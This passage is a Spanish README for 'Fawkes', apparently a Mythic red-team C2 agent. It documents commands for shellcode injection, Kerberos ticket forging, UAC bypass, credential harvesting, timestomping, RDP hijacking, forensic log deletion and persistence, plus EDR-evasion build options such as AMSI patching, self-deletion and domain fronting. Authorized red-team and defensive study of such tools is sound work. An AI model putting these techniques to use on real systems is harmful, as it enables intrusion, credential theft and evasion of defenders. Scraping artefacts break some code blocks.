threadless-inject | `threadless-inject` | **(Solo Windows)** Inyectar shellcode usando inyección sin hilos enganchando una función DLL en un proceso remoto. Más sigiloso que la inyección estándar ya que no crea nuevos hilos.
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Forjar, solicitar, renovar, delegar o autenticar con certificado tickets Kerberos. Forge: Golden/Silver Tickets (offline). Request: Overpass-the-Hash (online). Diamond: intercambio real AS + modificación de ticket para evasión. Renew: extender vida útil de TGT. S4U: delegación restringida vía S4U2Self+S4U2Proxy. PKINIT: autenticación basada en certificado desde ADCS/Shadow Creds. Multiplataforma (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Traducir, comprimir o eliminar caracteres en el contenido del archivo. Soporta clases de caracteres y rangos. Multiplataforma (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Encontrar archivos de alto valor para exfiltración — documentos, credenciales, configuraciones, bases de datos (.db/.sqlite), scripts (.py/.sh/.ps1), archivos (.zip/.tar/.7z), archivos de correo (.pst/.eml/.mbox), archivos modificados recientemente, o escaneo de ruta personalizado. **recon-chain**: cadena de subtareas automatizada — portscan → enumeración de recursos SMB → share hunt → triage local (requiere objetivo, nombre de usuario/contraseña). Multiplataforma (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Enumerar confianzas de dominio/bosque vía LDAP con topología de bosque, análisis de transitividad, fuerza de cifrado e identificación de rutas de ataque. Multiplataforma (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Modificar marcas de tiempo de archivo para mezclarse. Obtener, copiar de otro archivo, establecer hora específica, coincidir con vecinos de directorio (IQR) o aleatorio dentro de un rango. `clean-prefetch` elimina archivos Prefetch de Windows para un ejecutable nombrado. Windows también modifica la hora de creación.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Solo Windows)** Gestión de sesiones RDP — listar, secuestrar, desconectar o cerrar sesión. Toma de control de sesión sin credenciales (T1563.002).
ts | `ts [-a] [-i PID]` | **(Solo Windows)** Listar hilos en procesos. Por defecto muestra solo hilos alertables (Suspendido/DelayExecution). Usar -a para todos los hilos, -i para filtrar por PID (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Solo Windows)** Bypass de UAC para escalar de integridad media a alta. 8 técnicas: secuestro de registro, secuestro de variable de entorno, abuso de archivo INF, secuestro de CLSID COM, directorio simulado de confianza. Por defecto genera callback elevado (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Filtrar o contar líneas duplicadas consecutivas en un archivo. El modo de recuento ordena por frecuencia. Multiplataforma (T1083).
unlink | `unlink -connection_id <uuid>` | Desconectar un agente P2P vinculado (TCP o named pipe). Multiplataforma (T1572).
uptime | `uptime` | Mostrar tiempo de actividad del sistema, hora de arranque y promedios de carga. Multiplataforma (T1082).
upload | `upload` | Subir un archivo al objetivo con transferencia de archivos fragmentada. Soporta descompresión automática de archivos gzip. Verificación de hash SHA256.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Solo Windows)** Consultar o eliminar el Diario de Cambios USN de NTFS — destruye el historial de operaciones de archivos para anti-forense (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Inyectar shellcode en un proceso remoto (inject), migrar agente (migrate: inject + exit), o generar un nuevo proceso con LD_PRELOAD .so (ldpreload: solo Linux, sin ptrace, evita Yama). **Windows:** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64):** escritura directa en /proc/PID/mem, LD_PRELOAD vía memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | Detectar entorno VM/hipervisor o analizar evasión de sandbox. `detect`: OUI MAC, DMI/SMBIOS, herramientas VM, SCSI, indicador de CPU hipervisor. `sandbox`: análisis puntuado — recuento de CPU, RAM, disco, tiempo de actividad, temporización de sleep, nombre de host, recuento de procesos, nombre de usuario. Multiplataforma (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Técnicas de impacto: gestión VSS (Windows), inhibición de recuperación (T1490), apagado/reinicio (T1529, multiplataforma). Las acciones destructivas requieren -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Monitorear un directorio en busca de cambios en el sistema de archivos — detecta archivos nuevos, modificados y eliminados vía sondeo. Soporta filtrado glob y detección de hash MD5. Multiplataforma (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Contar líneas, palabras, caracteres y bytes en archivos. Modo directorio con filtrado de patrón glob y totales. Multiplataforma (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Solo Windows)** Gestionar almacenamiento en caché de credenciales en texto plano de WDigest. Habilitar para capturar contraseñas en texto claro en el próximo inicio de sesión. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` o `winrm -action check -host <target> [-username <user> -password <pass>]` | Ejecutar comandos en hosts Windows remotos vía WinRM con autenticación NTLM. Soporta pass-the-hash, cmd.exe y PowerShell. `check` valida requisitos previos de WinRM (puertos 5985/5986, auth, shell). Multiplataforma (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Solo Windows)** Enumerar ventanas de aplicación visibles — muestra HWND, PID, nombre de proceso, clase de ventana y título. El filtro de búsqueda filtra por título/proceso/clase. MITRE T1010.
who | `who [-all true]` | Mostrar usuarios conectados actualmente y sesiones activas. Linux: analiza utmp. Windows: API WTS. macOS: comando who. Multiplataforma (T1033).
whoami | `whoami` | Mostrar identidad de usuario actual y contexto de seguridad. Windows: nombre de usuario, SID, tipo de token, nivel de integridad, membresías de grupo, privilegios. Linux: usuario, UID, GID, grupos, capacidades efectivas (decodificadas), contexto SELinux/AppArmor, detección de contenedor. macOS: usuario, UID, GID, grupos.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Solo Windows)** Ejecutar consultas WMI, creación de procesos, subida de archivos y ejecución preparada vía API COM. upload: transferir archivos vía staging certutil/PowerShell. exec-staged: subir luego ejecutar con auto-limpieza. `check` valida requisitos previos WMI (RPC 135, conectividad WMI). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Solo Windows)** Persistencia de Suscripción de Eventos WMI vía API COM. Soporta consumidores CommandLine y ActiveScript (VBScript/JScript). Sin archivos, sobrevive reinicios. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Recuperar perfiles de redes WiFi guardadas y credenciales. Windows: API WLAN, Linux: NetworkManager/wpa_supplicant/iwd, macOS: Llavero. Multiplataforma (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Escribir contenido en archivos, o desfigurar páginas web. `write`: crear/sobrescribir/añadir (por defecto). `deface`: reemplazar contenido web con mensaje de desfiguración (T1491, compuerta de seguridad). Multiplataforma (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Solo Windows)** Escribir bytes en una dirección de función DLL.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Solo Linux/macOS)** Gestionar atributos extendidos de archivo — listar, obtener, establecer, eliminar. Complemento Unix para ADS de Windows para ocultación de datos (T1564.004).## Augmentación de Comandos Forge

Fawkes admite la [augmentación de comandos Mythic Forge](https://github.com/MythicAgents/forge), que extiende dinámicamente las capacidades del agente con colecciones de herramientas externas. Cuando Forge está instalado junto con Mythic, aparecen comandos adicionales automáticamente en la interfaz de Mythic para los callbacks de Fawkes, sin necesidad de reconstruir el agente.

**Colecciones de herramientas compatibles:**

| Colección | Tipo | Ejecuta mediante | Ejemplos |
|-----------|------|------------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | Ensamblados .NET | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | Archivos BOF/COFF | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |

### Configuración (Nueva Instalación)

**Paso 1: Instalar Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge

Edita InstalledServices/forge/payload_type_support.json y añade la entrada de Fawkes al array JSON:```json { "agent": "fawkes", "bof_command": "inline-execute", "bof_file_parameter_name": "bof_file", "bof_argument_array_parameter_name": "coff_arguments", "bof_entrypoint_parameter_name": "function_name", "inline_assembly_command": "inline-assembly", "inline_assembly_file_parameter_name": "assembly_file", "inline_assembly_argument_parameter_name": "assembly_arguments", "execute_assembly_command": "", "execute_assembly_file_parameter_name": "", "execute_assembly_argument_parameter_name": "", "assembly_default_execution_method": "inline_assembly" }

root@kitploit:~
Esto mapea la interfaz de parámetros genérica de Forge a los nombres de comando y parámetros específicos de Fawkes. El mapeo de campos:
- `bof_command` → comando `inline-execute` de Fawkes (ejecución de BOF/COFF)
- `inline_assembly_command` → comando `inline-assembly` de Fawkes (ejecución de ensamblado .NET)
- `execute_assembly_command` → vacío (Fawkes usa inline-assembly para toda ejecución .NET)
- Los nombres de parámetros deben coincidir exactamente con lo que las funciones de agente de Fawkes definen en el grupo de parámetros "Forge"

**Paso 3: Reconstruir y reiniciar**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes

Paso 4: Registrar fuentes de herramientas

Abra la interfaz de Mythic y use el comando forge_register (disponible en cualquier callback) para registrar las fuentes de herramientas. Fuentes comunes:

Para registrar una fuente, ejecute forge_register con commandName establecido en el nombre simple de la fuente (ej., Rubeus, no forge_net_Rubeus) y remove establecido en false.

Después del registro, Forge descarga los binarios de la herramienta y crea comandos aumentados (ej., forge_net_Rubeus, forge_bof_nanodump) que aparecen en la lista de comandos del callback.

Paso 5: Verificar

Los callbacks existentes ven automáticamente los comandos de Forge — no se necesita un nuevo payload. Pruebe ejecutando una herramienta registrada:

  1. Ejecute autopatch o start-clr primero (parcheo de AMSI para herramientas .NET)
  2. Seleccione un comando de Forge (ej., forge_net_Seatbelt)
  3. Ingrese argumentos (ej., -group=system)
  4. Ejecute — Forge traduce el comando a inline-assembly con el binario de la herramienta incrustado

Consejos de Uso

  • Para herramientas .NET (SharpCollection), ejecute start-clr con autopatch primero para inicializar el CLR y parchear AMSI — sin esto, Windows Defender puede bloquear la ejecución del ensamblado
  • Para herramientas BOF (Sliver Armory), asegúrese de que los BOF estén compilados para x64
  • No se necesitan parámetros de compilación especiales — el soporte de Forge está integrado en los comandos inline-execute e inline-assembly de Fawkes mediante el grupo de parámetros "Forge"
  • Los comandos de Forge funcionan en callbacks existentes sin necesidad de reconstruir el agente
  • Al emitir comandos de Forge a través de la API, incluya payload_type: "forge" en la mutación createTask — sin esto, Mythic solo busca el propio tipo de payload del callback

Técnicas de Inyección

Inyección PoolParty

Inyección Opus

VarianteTécnicaObjetivoShellcode Go
1Cadena de manejador Ctrl-CSolo procesos de consolaNo
4PEB KernelCallbackTableSolo procesos GUISí

Para descripciones detalladas de las variantes, consulte Detalles de Técnicas de Inyección.

Opciones de Compilación

Métodos de Exportación de DLL

Al compilar en modo shared (DLL) o windows-shellcode, el parámetro de compilación dll_exports controla qué exportaciones de DLL se incluyen:

Métodos de ejecución con exportaciones completas:

Inflación de Binarios

Fawkes admite la inflación opcional de binarios en tiempo de compilación. Esto incrusta un bloque de bytes repetidos en el agente compilado, que puede usarse para aumentar el tamaño del archivo o reducir las puntuaciones de entropía.

Dos parámetros de compilación controlan esto:

  • inflate_bytes - Bytes hexadecimales a incrustar (ej. 0x90 o 0x41,0x42)
  • inflate_count - Número de veces que se repite el patrón de bytes

El patrón de bytes se repite inflate_count veces, por lo que el tamaño total agregado es length(byte_pattern) * inflate_count.

Referencia rápida para dimensionamiento:

Cuando la inflación no está configurada, solo se agrega 1 byte de sobrecarga al binario.

Incrustación de Recursos PE (Solo Windows)

Los binarios PE de Windows contienen recursos de metadatos: información de versión, iconos y manifiestos UAC, que son visibles en Propiedades del archivo, Administrador de tareas y Explorador. Los binarios Go predeterminados no tienen estos metadatos, lo que es una señal de detección fuerte para herramientas y analistas de seguridad.

Fawkes admite la incrustación de recursos PE en tiempo de compilación para suplantar binarios legítimos de Windows:

Parámetros de compilación:

Preajustes (10 binarios comunes de Windows con información de versión real): notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker

Los campos individuales anulan los valores de los preajustes. Cuando no se configuran parámetros de recursos PE, el binario no se modifica respecto a la salida predeterminada de Go.

Funciones de Opsec

Seguimiento de Artefactos

Fawkes registra automáticamente artefactos en Mythic para comandos relevantes para opsec. Los artefactos aparecen en la interfaz de Mythic bajo la pestaña Artifacts, brindando a los operadores una imagen clara de todos los indicadores forenses generados durante un compromiso.

Tipos de artefactos rastreados:

Los comandos de solo lectura (ls, ps, cat, env, etc.) no generan artefactos.

Integración con Almacén de Credenciales

Los comandos de cosecha de credenciales reportan automáticamente los descubrimientos al almacén de Credentials de Mythic, haciéndolos buscables y exportables desde la interfaz de Mythic.

Seguimiento de Keylog

El comando keylog se integra con la función Keylogs de Mythic. Cuando las pulsaciones de teclas se devuelven mediante stop o dump, se analizan automáticamente por título de ventana y se envían al rastreador de keylogs de Mythic con atribución de usuario. Los keylogs son buscables en la interfaz de Mythic por título de ventana, usuario o contenido de pulsaciones.

Seguimiento de Tokens

Los comandos make-token y steal-token registran tokens en el rastreador Callback Tokens de Mythic. Esto proporciona visibilidad sobre qué tokens están asociados con cada callback, incluyendo la identidad del usuario suplantado y el proceso de origen. El comando rev2self elimina automáticamente los tokens rastreados cuando se abandona la suplantación.

Verificación de Certificados TLS

Controla cómo el agente valida los certificados HTTPS al comunicarse con el servidor C2. Configurado en tiempo de compilación mediante el parámetro tls_verify:

ModoDescripción
noneOmite toda verificación TLS (predeterminado, compatible con versiones anteriores)
system-caValida certificados contra el almacén de confianza del SO
pinned:<sha256>Fija a una huella digital de certificado específica (SHA-256 hexadecimal). El agente rechaza conexiones si el certificado del servidor no coincide.

La fijación de certificados previene la intercepción MITM del tráfico del agente incluso si un atacante controla una CA de confianza.

Suplantación de Huella Digital TLS (JA3)

La pila TLS estándar de Go produce un hash JA3 distintivo que las herramientas de seguridad de red pueden identificar como tráfico no de navegador. El parámetro de compilación tls_fingerprint utiliza uTLS para suplantar el ClientHello TLS, produciendo una huella digital JA3 que coincide con la de un navegador.

Autenticación de Certificado Cliente TLS Mutuo (mTLS)

Agrega autenticación de certificado cliente al perfil C2 HTTP. Cuando está configurado, el agente presenta un certificado de cliente durante el handshake TLS, permitiendo que el servidor C2 verifique la identidad del agente. Esto evita la intercepción HTTPS pasiva y los ataques MITM de proxy.

ParámetroDescripción
mtls_certCertificado de cliente codificado en PEM
mtls_keyClave privada de cliente codificada en PEM

El cert/clave se codifican en base64 en tiempo de compilación, se cifran con XOR si la ofuscación de cadenas está habilitada, y se almacenan en el almacén de configuración AES-256-GCM en tiempo de ejecución. Se combina con los modos de verificación TLS existentes y la suplantación de huella digital JA3.

URLs C2 de Respuesta

Múltiples URLs de callback C2 con failover automático. Si el host de callback principal no es accesible, el agente recorre transparentemente las URLs de respaldo antes de aplicar backoff.

ParámetroDescripción
fallback_hostsHosts C2 de respaldo separados por comas (ej. http://backup1.example.com,https://backup2.example.com)

Mismo puerto y cifrado que el principal. Recuerda la última URL exitosa. Funciona con el almacén de configuración y ofuscación XOR.

Clave de Entorno / Guardrails

Evita que el agente se ejecute en sistemas no autorizados. Configurado en tiempo de compilación — el agente sale silenciosamente antes de hacer cualquier contacto de red si las comprobaciones fallan. Sin registro, sin artefactos, sin tráfico C2.

Todos los patrones son insensibles a mayúsculas y están anclados para coincidir con el valor completo. Se pueden combinar varias claves — todas deben pasar. Los patrones regex no válidos fallan cerrados (el agente sale). Deje vacío para saltar una comprobación.

Derivación de Clave de Entorno (env_key_derive): Cuando está configurado, toda la configuración C2 sensible (host de callback, UUID, clave de cifrado, URIs, configuración de proxy, etc.) se cifra con AES-256-GCM en tiempo de compilación usando una clave derivada del entorno del objetivo. En tiempo de ejecución, el agente vuelve a derivar la clave de su propio entorno — si no coincide (host/dominio/usuario incorrecto), el descifrado falla y el agente sale silenciosamente. Esto es más fuerte que la coincidencia regex porque los valores de configuración nunca están presentes en el binario de ninguna forma. Requiere que los valores correspondientes env_key_* contengan los valores EXACTOS del objetivo (no patrones regex). Se apila con obfuscate_strings (capa XOR aplicada primero, luego AES-GCM).

Ofuscación de Cadenas C2

Habilite el parámetro de compilación obfuscate_strings para codificar con XOR todas las cadenas de configuración C2 (host de callback, URIs, user agent, clave de cifrado, UUID) en tiempo de compilación con una clave aleatoria de 32 bytes por compilación. Evita la extracción trivial de IOCs mediante strings en el binario. Se descodifica en tiempo de ejecución. Multiplataforma.

BlockDLLs para Procesos Hijos

Habilite el parámetro de compilación block_dlls para aplicar PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON a todos los procesos hijos generados por el agente (comandos run, powershell). Evita que el EDR inyecte DLLs de monitoreo en los procesos generados. Usa STARTUPINFOEX con UpdateProcThreadAttribute. Solo Windows.

Suplantación de PID Padre para Subprocesos

Establezca config -action set -key default_ppid -value <PID> en tiempo de ejecución para que todos los procesos hijos (run, powershell) parezcan hijos de un proceso legítimo (ej. explorer.exe). Derrota la detección de relación padre-hijo por parte del EDR. Se combina con BlockDLLs cuando ambos están activos. Usa UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Deshabilitar con config -action set -key default_ppid -value 0. Solo Windows (T1134.004).

Parcheo Automático de ETW/AMSI

Habilite el parámetro de compilación auto_patch para parchear automáticamente EtwEventWrite y AmsiScanBuffer al inicio del agente. Esto evita la detección basada en ETW y el escaneo de AMSI antes de que ocurra cualquier actividad del agente — no se necesita un comando manual. Solo Windows (sin efecto en Linux/macOS).

Autoeliminación

Habilite la eliminación automática del binario al inicio mediante el parámetro de compilación self_delete. Una vez que el agente comienza a ejecutarse, elimina su propio archivo del disco — eliminando el artefacto forense principal.

  • Linux/macOS: Usa os.Remove() — el proceso en ejecución continúa a través del mapeo de inodo en memoria. El archivo desaparece del disco inmediatamente.
  • Windows: Usa la técnica de cambio de nombre de flujo NTFS — renombra la secuencia :$DATA predeterminada y luego elimina la entrada del archivo. No se genera ningún proceso hijo.

El binario se elimina después de que las comprobaciones de clave de entorno pasan, pero antes de que comience la actividad de red.

Suplantación de Proceso (Linux)

Establezca el parámetro de compilación masquerade_name para cambiar el nombre del proceso del agente en Linux. Usa prctl(PR_SET_NAME) para modificar /proc/self/comm, que es mostrado por ps, top y htop. Máximo 15 caracteres.

Nombres útiles: [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]

Combinado con autoeliminación, el agente aparece como un hilo de kernel o servicio legítimo sin archivo en disco.

Páginas de Guardia de Memoria de Sueño

Habilite sleep_guard_pages (requiere sleep_mask=true) para aplicar VirtualProtect(PAGE_NOACCESS) en la memoria cifrada del almacén durante los ciclos de sueño. Después de que la máscara de sueño cifre los datos sensibles (AES-256-GCM) y ponga a cero los originales, las páginas de guardia mueven el almacén a memoria dedicada de VirtualAlloc y la marcan como NO_ACCESS. Los escáneres de memoria del EDR, ReadProcessMemory, WinDbg y Process Hacker obtienen STATUS_ACCESS_VIOLATION al intentar leer el almacén. Las páginas se restauran a PAGE_READWRITE al despertar antes del descifrado. En Linux/macOS, las páginas de guardia usan mmap(MAP_ANON) + mprotect(PROT_NONE) — sondear provoca SIGSEGV.

La clave del almacén de sueño está vinculada al hardware mediante HKDF-SHA256: una semilla aleatoria se mezcla con un hash SHA-256 de la cadena de marca de la CPU y el UUID de la máquina. Si alguien extrae el blob del almacén de un volcado de memoria e intenta descifrarlo en hardware diferente, la derivación de clave produce una clave diferente.

Suplantación de Pila de Llamadas

Habilite stack_spoof para suplantar la pila de llamadas del hilo dormido, derrotando las herramientas de escaneo de hilos del EDR (Hunt-Sleeping-Beacons, Moneta, CrowdStrike).

  • Windows (requiere indirect_syscalls=true): Un hilo nativo dedicado realiza NtDelayExecution con direcciones de retorno falsas que apuntan a kernel32!SleepEx, kernel32!BaseThreadInitThunk y ntdll!RtlUserThreadStart — la cadena de inicialización de hilo estándar que el EDR espera.
  • Linux amd64: Se crea un proceso hijo mediante clone(CLONE_VM) con su propio stub de código de máquina de 291 bytes en memoria mmap anónima. El hijo llama a nanosleep directamente mediante syscall sin procesar — ninguna dirección del runtime Go o código del agente aparece en la pila del hilo dormido. Los manejadores de señal se restablecen a SIG_DFL en el hijo, y PR_SET_PDEATHSIG asegura que el hijo muera cuando el padre salga.
  • macOS arm64: Se genera un pthread nativo con un stub de código de máquina ARM64 de 140 bytes en memoria mmap anónima. El hilo usa __ulock_wait/__ulock_wake para sincronización con el runtime Go y llama a nanosleep mediante syscall sin procesar — la pila del hilo dormido muestra solo el stub anónimo y los marcos del kernel, sin runtime Go ni código del agente.

Cabeceras HTTP Personalizadas

Todas las cabeceras definidas en la configuración del perfil C2 HTTP de Mythic se aplican a cada solicitud. Más allá de User-Agent (siempre soportado), los operadores pueden agregar cabeceras como Accept-Language, Referer, Cookie o X-Forwarded-For para mezclar el tráfico C2 con patrones de tráfico web legítimos.

Domain Fronting

Establezca el parámetro de compilación host_header para anular la cabecera Host HTTP. Esto habilita domain fronting: enrutar el tráfico a través de un CDN (ej. CloudFront, Azure CDN) mientras la cabecera Host apunta a su dominio C2 real. Para los defensores de red, el tráfico parece ir a la dirección IP del CDN.

Soporte de Proxy

Establezca el parámetro de compilación proxy_url para enrutar el tráfico del agente a través de un proxy HTTP o SOCKS. Útil para operar en redes corporativas con servidores proxy obligatorios.Ejemplos: http://proxy.corp.local:8080, socks5://127.0.0.1:1080

Proxies autenticados: Establezca proxy_user y proxy_pass para autenticación básica. Para proxies empresariales que requieren autenticación de dominio de Windows, también establezca proxy_domain (por ejemplo, CORP) para habilitar la autenticación NTLM. El handshake NTLM (Type1→Type2→Type3) se realiza automáticamente durante el establecimiento del túnel CONNECT.

Detección de proxy del sistema (Windows): Cuando no se establece proxy_url, el agente consulta WinHTTP para obtener la configuración de proxy del sistema, incluida la detección automática de PAC/WPAD.

Eliminación de rutas de compilación (-trimpath)

Todas las compilaciones usan la bandera -trimpath de Go para eliminar las rutas locales del sistema de archivos del binario compilado. Sin esto, rutas como /home/user/project/... y /go/pkg/mod/... se filtran en el binario a través de trazas de panic y metadatos de tiempo de ejecución. Combinado con -s -w (eliminación de símbolos) y -buildid vacío, esto minimiza la información forense en el binario. Las compilaciones de Garble ya manejan esto; -trimpath cubre las compilaciones que no son de Garble.

Escaneo posterior a la compilación con YARA

Después de la compilación, el payload generado se escanea automáticamente contra un conjunto de reglas YARA que modelan patrones de detección comunes de defensores. Los resultados se muestran en la salida de compilación de Mythic como un paso informativo: el escaneo nunca falla la compilación.

Categorías de detección escaneadas:

  • Identificación de binarios Go y fugas de símbolos
  • Rutas de compilación/desarrollo filtradas
  • Indicadores de cadena del framework Mythic/C2
  • Nombres de API de inyección de Windows
  • Nombres de API de acceso a credenciales
  • Patrones de API de evasión de defensas
  • Cadenas de mecanismos de persistencia
  • Configuración de C2 en texto plano

Esto ayuda a los operadores a comprender el riesgo de detección y elegir las opciones de opsec apropiadas (garble, obfuscate_strings, etc.) antes de implementar.

Perfiles C2 admitidos

Perfil HTTP

El perfil HTTP se comunica con el servidor Mythic a través del perfil básico y no dinámico. Este es el perfil de salida predeterminado: el agente consulta a Mythic para obtener tareas a través de HTTP/HTTPS.

Características maleables:

  • Aleatorización de URI: get_uri y post_uri admiten tokens que se resuelven por solicitud:
    • {rand:N} — N caracteres hexadecimales aleatorios (ej., /api/{rand:8} → /api/a3f82b1c)
    • {int:M-N} — número entero aleatorio en un rango (ej., /v{int:1-3}/status → /v2/status)
  • Ciclo de Content-Type: Establezca el parámetro de compilación content_types como una lista separada por comas (ej., application/json,text/plain,application/x-www-form-urlencoded). El agente recorre estas opciones de forma round-robin. Valor predeterminado: application/x-www-form-urlencoded.
  • Rotación de User-Agent: Establezca el parámetro de compilación user_agent_pool como una lista separada por saltos de línea de cadenas User-Agent. El agente rota entre ellas por solicitud, eliminando la huella digital UA estática. Valor predeterminado: un único UA de Chrome 134.

Perfil TCP P2P

El perfil TCP permite el enlace entre agentes peer-to-peer (P2P) para el pivoteo interno. Un agente hijo escucha en un puerto TCP o en una named pipe de Windows y espera que un agente padre se conecte mediante el comando link. Todas las tareas y respuestas se enrutan a través del canal de salida del padre (HTTP), por lo que el hijo nunca contacta directamente con Mythic.

Arquitectura:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)

root@kitploit:~
**Parámetros de construcción:**

| Parámetro | Descripción | Predeterminado |
|-----------|-------------|---------|
| `tcp_bind_address` | Dirección y puerto para que el hijo escuche (ej., `0.0.0.0:7777`) | _(vacío = modo HTTP)_ |
| `namedpipe_bind_name` | Nombre de la tubería con nombre para que el hijo escuche (ej., `msrpc-f9a1`). Solo Windows. | _(vacío)_ |

Cuando se establece `tcp_bind_address` o `namedpipe_bind_name`, el agente se inicia en modo de escucha P2P en lugar del modo de salida HTTP.

**Flujo de trabajo de uso (TCP):**

1. Construye un **agente hijo** con el perfil C2 TCP y `tcp_bind_address` establecido (ej., `0.0.0.0:7777`)
2. Despliega el hijo en un host interno (no requiere acceso a internet)
3. Desde un **agente de salida** (perfil HTTP), ejecuta: `link -host <child_ip> -port 7777`
4. Mythic crea un nuevo callback para el hijo — todo el envío de tareas fluye a través del agente de salida
5. Para desconectar: `unlink -connection_id <uuid>`

**Flujo de trabajo de uso (Tubería con nombre):**

1. Construye un **agente hijo** con el perfil C2 TCP y `namedpipe_bind_name` establecido (ej., `msrpc-f9a1`)
2. Despliega el hijo en un host Windows interno
3. Desde un **agente de salida**, ejecuta: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. La conexión utiliza SMB (puerto 445), mezclándose con el tráfico normal de uso compartido de archivos de Windows
5. Para desconectar: `unlink -connection_id <uuid>`

**Cifrado:** AES-256-CBC con HMAC-SHA256 (igual que el perfil HTTP). El protocolo de red utiliza un marco con prefijo de longitud de 4 bytes sobre TCP o tubería con nombre.

**Soporte de reconexión:** Si un padre se desconecta (ej., vía `unlink` o el agente padre muere), el agente hijo almacena en caché sus datos de checkin y espera una nueva conexión padre. Cuando un nuevo agente de salida ejecuta `link`, el hijo se vuelve a registrar automáticamente con Mythic como un nuevo callback. No se necesita intervención manual.

**Múltiples hijos:** Un agente de salida puede vincularse a múltiples hijos TCP y de tubería con nombre simultáneamente. Cada hijo opera de forma independiente con su propio callback.

**Notas de OPSEC:** Las conexiones de tubería con nombre utilizan SMB (puerto 445) y generan menos indicadores a nivel de red que el TCP puro, pero los eventos de Sysmon ID 17/18 (PipeEvent) y los eventos ETW de Microsoft-Windows-SMBClient se registrarán si están configurados.

### Perfil C2 de Discord

El perfil de Discord utiliza un bot y un canal de Discord como transporte C2 encubierto. El agente se comunica con Mythic publicando mensajes cifrados en un canal de Discord, donde un bot del lado del servidor los retransmite a Mythic a través de gRPC push C2.

**Arquitectura:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic

Cómo funciona:

  1. Checkin: El agente publica un mensaje de checkin cifrado en el canal de Discord. El bot del lado del servidor lo recoge, lo reenvía a Mythic y publica la respuesta de vuelta en el canal. El agente sondea hasta que encuentra la respuesta.
  2. Tasking: El agente envía una solicitud get_tasking a través de Discord. Con C2 push, las tareas también pueden enviarse de forma independiente al canal. El agente recopila todos los mensajes coincidentes por ciclo de sondeo.
  3. Respuestas: El agente publica la salida de la tarea en el canal. Las respuestas grandes (>1950 caracteres) se envían como archivos adjuntos.

Parámetros de compilación:

Cifrado: AES-256-CBC con HMAC-SHA256 (mismo esquema que el perfil HTTP). La configuración sensible (token del bot, ID del canal) se cifra en memoria después de la inicialización usando un vault AES-256-GCM.

Soporte de C2 Push: El servidor C2 de Discord usa el C2 push de Mythic (flujo gRPC persistente). Las tareas pueden llegar de forma asíncrona entre ciclos de sondeo. El agente implementa:

  • Barrido previo al sondeo para capturar tareas push de ciclos anteriores
  • Sondeo de recuperación (3 sondeos adicionales tras la primera coincidencia) para entrega rápida de tareas
  • Reintento de PostResponse en fallos transitorios

